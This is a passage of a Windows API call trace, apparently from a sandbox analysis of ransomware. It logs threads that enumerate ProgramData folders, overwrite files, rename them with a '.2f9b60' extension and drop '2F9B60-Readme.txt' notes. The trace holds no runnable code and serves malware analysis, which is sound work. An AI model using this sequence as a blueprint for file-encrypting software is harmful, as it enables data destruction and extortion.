sprintf (in: _Dest=0x1cd9ef52, _Format="%c%c" | out: _Dest="e1") returned 2 [0102.051] sprintf (in: _Dest=0x1cd9ef54, _Format="%c%c" | out: _Dest="38") returned 2 [0102.051] sprintf (in: _Dest=0x1cd9ef56, _Format="%c%c" | out: _Dest="04") returned 2 [0102.051] RtlInitAnsiString (in: DestinationString=0x1e7af888, SourceString="1efee2ba33542f7a8205695fd01220a85be13804" | out: DestinationString="1efee2ba33542f7a8205695fd01220a85be13804") [0102.051] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e7af858, SourceString="1efee2ba33542f7a8205695fd01220a85be13804", AllocateDestinationString=1 | out: DestinationString="1efee2ba33542f7a8205695fd01220a85be13804") returned 0x0 [0102.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9ce50 [0102.052] wcscat (in: _Dest=0x1b864680, _Source="1efee2ba33" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\1efee2ba33") returned="C:\\ProgramData\\Microsoft\\MF\\1efee2ba33" [0102.052] wcscat (in: _Dest=0x1b864680, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\1efee2ba33.2f9b60") returned="C:\\ProgramData\\Microsoft\\MF\\1efee2ba33.2f9b60" [0102.052] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\MF\\1efee2ba33.2f9b60", NtPathName=0x1e7af830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\MF\\1efee2ba33.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x20509c30 [0102.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509c30) returned 1 [0102.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505d20) returned 1 [0102.399] NtQueryInformationFile (in: FileHandle=0xd78, IoStatusBlock=0x1e7af898, FileInformation=0x1e7af8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e7af898, FileInformation=0x1e7af8a8) returned 0x0 [0102.399] NtSetInformationFile (FileHandle=0xd78, IoStatusBlock=0x1e7af898, FileInformation=0x1e7af8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0102.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864680) returned 1 [0102.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ce50) returned 1 [0102.764] FlushFileBuffers (hFile=0xd78) returned 1 [0102.765] CloseHandle (hObject=0xd78) returned 1 [0103.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b86e790 [0103.442] wcscpy (in: _Dest=0x1b86e790, _Source="C:\\ProgramData\\Microsoft\\MF\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\" [0103.442] wcscat (in: _Dest=0x1b86e790, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\MF\\2F9B60-Readme.txt" [0103.442] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\mf\\2f9b60-readme.txt")) returned 0x2020 [0103.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e790) returned 1 [0103.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd867f0) returned 1 Thread: id = 449 os_tid = 0x500 [0091.359] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl")) returned 0x20 [0091.385] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL", dwFileAttributes=0x20) returned 1 [0091.385] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd7c [0091.385] GetFileSizeEx (in: hFile=0xd7c, lpFileSize=0x2058fcc0 | out: lpFileSize=0x2058fcc0*=14972) returned 1 [0091.386] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x3a78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.386] ReadFile (in: hFile=0xd7c, lpBuffer=0x2058fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2058fc88, lpOverlapped=0x0 | out: lpBuffer=0x2058fc40*, lpNumberOfBytesRead=0x2058fc88*=0x4, lpOverlapped=0x0) returned 1 [0091.647] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78c0 [0091.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0091.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0091.648] NtQuerySystemTime (in: CurrentTime=0x2058fb80 | out: CurrentTime=0x2058fb80*=132462176974762000) returned 0x0 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0xd5ee594 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x45f34902 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x4c8d7d4a [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x281195fc [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x38305b52 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x3a2032f6 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x5276b983 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x2f5edc0a [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x21ad8c4 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x76e665b8 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x6da4790d [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x29fa5c11 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x467a8e83 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x27833e49 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x706c69b5 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x72401d17 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x60538b60 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x725f49fb [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x5a3780a1 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x18c4e493 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x754ccc0d [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x719ac512 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x75324598 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x7b98c208 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x170c5989 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x6ea7fae9 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x4806bfea [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x60538b60 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x3a887ecb [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x5276b983 [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x679e40dd [0091.648] RtlRandomEx (in: Seed=0x2058fb70 | out: Seed=0x2058fb70) returned 0x33a6f482 [0091.656] ReadFile (in: hFile=0xd7c, lpBuffer=0x201d3cc0, nNumberOfBytesToRead=0x3a7c, lpNumberOfBytesRead=0x2058fb70, lpOverlapped=0x0 | out: lpBuffer=0x201d3cc0*, lpNumberOfBytesRead=0x2058fb70*=0x3a7c, lpOverlapped=0x0) returned 1 [0091.661] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.661] WriteFile (in: hFile=0xd7c, lpBuffer=0x201d78d0*, nNumberOfBytesToWrite=0x3a7c, lpNumberOfBytesWritten=0x2058fb74, lpOverlapped=0x0 | out: lpBuffer=0x201d78d0*, lpNumberOfBytesWritten=0x2058fb74*=0x3a7c, lpOverlapped=0x0) returned 1 [0097.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0b0 [0097.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859490 [0097.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859490) returned 1 [0097.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201d78d0) returned 1 [0097.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201d3cc0) returned 1 [0097.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866b40) returned 1 [0097.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be50) returned 1 [0097.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b859490 [0097.073] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0097.073] WriteFile (in: hFile=0xd7c, lpBuffer=0x1696f0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2058fc90, lpOverlapped=0x0 | out: lpBuffer=0x1696f0*, lpNumberOfBytesWritten=0x2058fc90*=0x108, lpOverlapped=0x0) returned 1 [0101.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97670 [0101.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0101.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a70a0 [0101.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a70a0) returned 1 [0101.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0101.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a70a0 [0101.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ec0 [0101.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6ec0) returned 1 [0101.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0101.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0101.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f0b0 [0101.540] sprintf (in: _Dest=0x1cd9f0b0, _Format="%c%c" | out: _Dest="52") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0b2, _Format="%c%c" | out: _Dest="a9") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0b4, _Format="%c%c" | out: _Dest="f5") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0b6, _Format="%c%c" | out: _Dest="67") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0b8, _Format="%c%c" | out: _Dest="ff") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0ba, _Format="%c%c" | out: _Dest="06") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0bc, _Format="%c%c" | out: _Dest="cb") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0be, _Format="%c%c" | out: _Dest="55") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0c0, _Format="%c%c" | out: _Dest="6d") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0c2, _Format="%c%c" | out: _Dest="1e") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0c4, _Format="%c%c" | out: _Dest="be") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0c6, _Format="%c%c" | out: _Dest="c5") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0c8, _Format="%c%c" | out: _Dest="92") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0ca, _Format="%c%c" | out: _Dest="30") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0cc, _Format="%c%c" | out: _Dest="db") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0ce, _Format="%c%c" | out: _Dest="56") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0d0, _Format="%c%c" | out: _Dest="57") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0d2, _Format="%c%c" | out: _Dest="b7") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0d4, _Format="%c%c" | out: _Dest="53") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0d6, _Format="%c%c" | out: _Dest="70") returned 2 [0101.540] sprintf (in: _Dest=0x1cd9f0d8, _Format="%c%c" | out: _Dest="f2") returned 2 [0101.541] sprintf (in: _Dest=0x1cd9f0da, _Format="%c%c" | out: _Dest="7a") returned 2 [0101.541] RtlInitAnsiString (in: DestinationString=0x2058fd08, SourceString="52a9f567ff06cb556d1ebec59230db5657b75370f27a" | out: DestinationString="52a9f567ff06cb556d1ebec59230db5657b75370f27a") [0101.541] RtlAnsiStringToUnicodeString (in: DestinationString=0x2058fcd8, SourceString="52a9f567ff06cb556d1ebec59230db5657b75370f27a", AllocateDestinationString=1 | out: DestinationString="52a9f567ff06cb556d1ebec59230db5657b75370f27a") returned 0x0 [0101.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced8bb0 [0101.541] wcscat (in: _Dest=0x1ced8b40, _Source="52a9f567ff0" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\52a9f567ff0") returned="C:\\ProgramData\\Microsoft\\MF\\52a9f567ff0" [0101.541] wcscat (in: _Dest=0x1ced8b40, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\52a9f567ff0.2f9b60") returned="C:\\ProgramData\\Microsoft\\MF\\52a9f567ff0.2f9b60" [0101.541] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\MF\\52a9f567ff0.2f9b60", NtPathName=0x2058fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\MF\\52a9f567ff0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202aff10 [0101.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aff10) returned 1 [0101.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051d20) returned 1 [0101.848] NtQueryInformationFile (in: FileHandle=0xd7c, IoStatusBlock=0x2058fd18, FileInformation=0x2058fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2058fd18, FileInformation=0x2058fd28) returned 0x0 [0101.848] NtSetInformationFile (FileHandle=0xd7c, IoStatusBlock=0x2058fd18, FileInformation=0x2058fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0102.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8b40) returned 1 [0102.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8bb0) returned 1 [0102.400] FlushFileBuffers (hFile=0xd7c) returned 1 [0102.408] CloseHandle (hObject=0xd7c) returned 1 [0102.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b864680 [0102.768] wcscpy (in: _Dest=0x1b864680, _Source="C:\\ProgramData\\Microsoft\\MF\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\" [0102.768] wcscat (in: _Dest=0x1b864680, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\MF\\2F9B60-Readme.txt" [0102.768] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\mf\\2f9b60-readme.txt")) returned 0xffffffff [0102.769] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\mf\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1788 [0103.550] WriteFile (in: hFile=0x1788, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2058fbd0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2058fbd0*=0xba9, lpOverlapped=0x0) returned 1 [0104.965] CloseHandle (hObject=0x1788) returned 1 [0106.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864680) returned 1 [0106.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858610) returned 1 Thread: id = 450 os_tid = 0xaf0 [0091.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0091.393] wcscpy (in: _Dest=0x1b85ec90, _Source="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" [0091.393] wcscat (in: _Dest=0x1b85ec90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\" [0091.393] wcscat (in: _Dest=0x1b85ec90, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*" [0091.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce55930 [0091.393] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c70 [0091.393] wcscmp (_String1=".", _String2=".") returned 0 [0091.393] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.394] wcscmp (_String1="..", _String2=".") returned 1 [0091.394] wcscmp (_String1="..", _String2="..") returned 0 [0091.394] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.394] FindClose (in: hFindFile=0x1cd86c70 | out: hFindFile=0x1cd86c70) returned 1 [0091.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce55930) returned 1 [0091.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0091.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e590) returned 1 Thread: id = 451 os_tid = 0x73c [0091.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7a33b0 [0091.396] wcscpy (in: _Dest=0x1b7a33b0, _Source="C:\\ProgramData\\Microsoft\\Network\\Connections" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections" [0091.396] wcscat (in: _Dest=0x1b7a33b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\" [0091.396] wcscat (in: _Dest=0x1b7a33b0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections\\*") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\*" [0091.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce55930 [0091.396] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c70 [0091.397] wcscmp (_String1=".", _String2=".") returned 0 [0091.397] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.397] wcscmp (_String1="..", _String2=".") returned 1 [0091.397] wcscmp (_String1="..", _String2="..") returned 0 [0091.397] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.397] FindClose (in: hFindFile=0x1cd86c70 | out: hFindFile=0x1cd86c70) returned 1 [0091.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce55930) returned 1 [0091.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a33b0) returned 1 [0091.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e3a0) returned 1 Thread: id = 452 os_tid = 0x4e0 [0091.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b86e3a0 [0091.399] wcscpy (in: _Dest=0x1b86e3a0, _Source="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader" [0091.399] wcscat (in: _Dest=0x1b86e3a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\" [0091.399] wcscat (in: _Dest=0x1b86e3a0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*" [0091.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce55930 [0091.399] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c70 [0091.399] wcscmp (_String1=".", _String2=".") returned 0 [0091.399] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.399] wcscmp (_String1="..", _String2=".") returned 1 [0091.399] wcscmp (_String1="..", _String2="..") returned 0 [0091.399] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xe0118910, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr0.dat", cAlternateFileName="")) returned 1 [0091.399] wcscmp (_String1="qmgr0.dat", _String2=".") returned 1 [0091.399] wcscmp (_String1="qmgr0.dat", _String2="..") returned 1 [0091.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85e590 [0091.400] wcscpy (in: _Dest=0x1b85e590, _Source="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: 